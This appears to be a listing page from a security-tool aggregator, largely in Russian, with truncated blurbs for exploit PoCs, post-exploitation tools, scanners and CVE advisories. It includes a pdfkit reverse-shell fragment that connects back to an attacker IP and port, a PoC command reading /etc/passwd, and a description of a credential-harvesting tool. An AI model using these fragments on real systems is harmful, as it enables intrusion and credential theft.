CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Эксплойт-Обратная-оболочка pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Через CURL измените значения жирным шрифтом: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

RedPeanut

RedPeanut root@kitploit: oooooooooooooooooo ooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooo RedPeanutv0.3.0@b4rtik В настоящее время тестируется. Известные...

ThievingFox

ThievingFox ThievingFox — это набор инструментов для пост-эксплуатации, предназначенных для сбора учётных данных из различных менеджеров паролей и утилит Windows. Каждый модуль использует определённый метод внедрения в целевой процесс, а затем перехватывает внутренние функции для сбора учётных...

CVE-2021-33564

CVE-2021-33564 PoC Эксплойт-скрипт для CVE-2021-33564 внедрение аргументов в Ruby-гем Dragonfly. Использование Произвольное чтение файлов python3 poc.py -u https:///system/refinery/images -r /etc/passwd Произвольная запись файлов python3 poc.py -u https:///system/refinery/images -w public/test.tx...

log4j-spring-vuln-poc

log4j Spring уязвимый POC Это POC для простого бэкенда на Spring Boot с Maven, включающий уязвимую версию log4j для CVE-2021-44228 Spring Boot загружен с https://start.spring.io. команды ./mvnw spring-boot:run: запуск сервера ./mvnw dependency:tree: вывод дерева зависимостей и проверка используем...

CVE-2024-32113

CVE-2024-32113 Apache OFBIZ: обход пути, приводящий к эксплойту RCE. Уязвимость недостаточного ограничения пути к ограниченному каталогу «Обход пути» в Apache OFBiz. Проблема затрагивает Apache OFBiz: до версии 18.12.14не включая. Пользователям рекомендуется обновить версию до 18.12.14 , которая...

CVE-2020-15399

Название эксплойта: Joomla! J2 JOBS 1.3.0 - 'sortby' Аутентифицированная SQL-инъекция Дата: 2020-06-17 Автор эксплойта: Mehmet Kelepçe / Gais Cyber Security Сайт вендора: https://joomsky.com/ Ссылка на ПО: https://joomsky.com/products/js-jobs-pro.html Журнал изменений обновление :...

log4j2-test

Уязвимость удаленного выполнения кода Log4j2 2.14.1 LDAP CVE-2021-44228 - проверка 🎈 Тестировалось в среде Spring Boot 2.x Уведомление об уязвимости https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Версия Log4j2 понижена до уязвимой версии root@kitploit: 17 2.14.1...

r3con

R3CON Многофункциональный инструмент веб-разведки и сканирования уязвимостей r3con — это многофункциональный инструмент веб-разведки и сканирования уязвимостей, а также невероятно быстрый краулер, который может находить множество уязвимостей и собирать информацию. Проверка уязвимостей Отражённый...

crlfmap

CRLFMap CRLFMap — это инструмент для поиска уязвимостей HTTP Splitting Зачем? Хотел написать инструмент на Golang для параллельной работы Хотел иметь возможность фаззить как параметры, так и пути Установка root@kitploit: go get github.com/ryandamour/crlfmap Справка root@kitploit: Available...

ctf-tools

ctf-tools This is a collection of setup scripts to create an install of various security research tools. Of course, this isn't a hard problem, but it's really nice to have them in one place that's easily deployable to new machines and so forth. The install-scripts for these tools are checked ever...

injection

В этом репозитории нет README...

CVE-2026-78468

The FluentCRM Pro – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.1.12 due to insufficient escaping on the user supplied parameter and lack of sufficient...

CVE-2026-75498

Webkul QloApps does not validate request parameters before a database query. A remote, authenticated attacker with administrative privileges could send a crafted SQL query to the 'boquery' parameter in the 'Address.php' file. Fixed in 123c97c...

CVE-2026-75497

Webkul QloApps does not validate request parameters before a database query. A remote, authenticated attacker with administrative privileges could send a crafted SQL query to the 'boquery' parameter in the 'CustomerMessage.php' file. Fixed in 123c97c...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 RCE веб-панели CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS Этот эксплойт работает путем подмены callback-запроса агента для XSS CVE-2024-3183...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD Информация Этот репозиторий содержит необходимые файлы для создания Docker-образа с уязвимой средой OpenSMTPD 6.6.1p1. Уязвимость позволяет злоумышленнику выполнять произвольные команды через специально сформированную SMTP-сессию, а именно в поле MAIL FROM. Использование 1...

CVE-2026-24169

NVIDIA UFM Enterprise contains a vulnerability in the plugin management API, where an authenticated user with low privileges could inject code by sending a specially crafted API request. A successful exploit of this vulnerability might lead to code execution, escalation of privileges and...

CVE-2026-24167

NVIDIA UFM Enterprise contains a vulnerability in the user management component, where an authenticated administrator could inject commands by sending a crafted API request. A successful exploit of this vulnerability might lead to code execution, escalation of privileges and information disclosur...

CVE-2026-24168

NVIDIA UFM Enterprise contains a vulnerability in the IBDiagnet API where an authenticated attacker with administrative privileges may cause command injection by sending crafted API requests. A successful exploit of this vulnerability may lead to code execution, escalation of privileges and...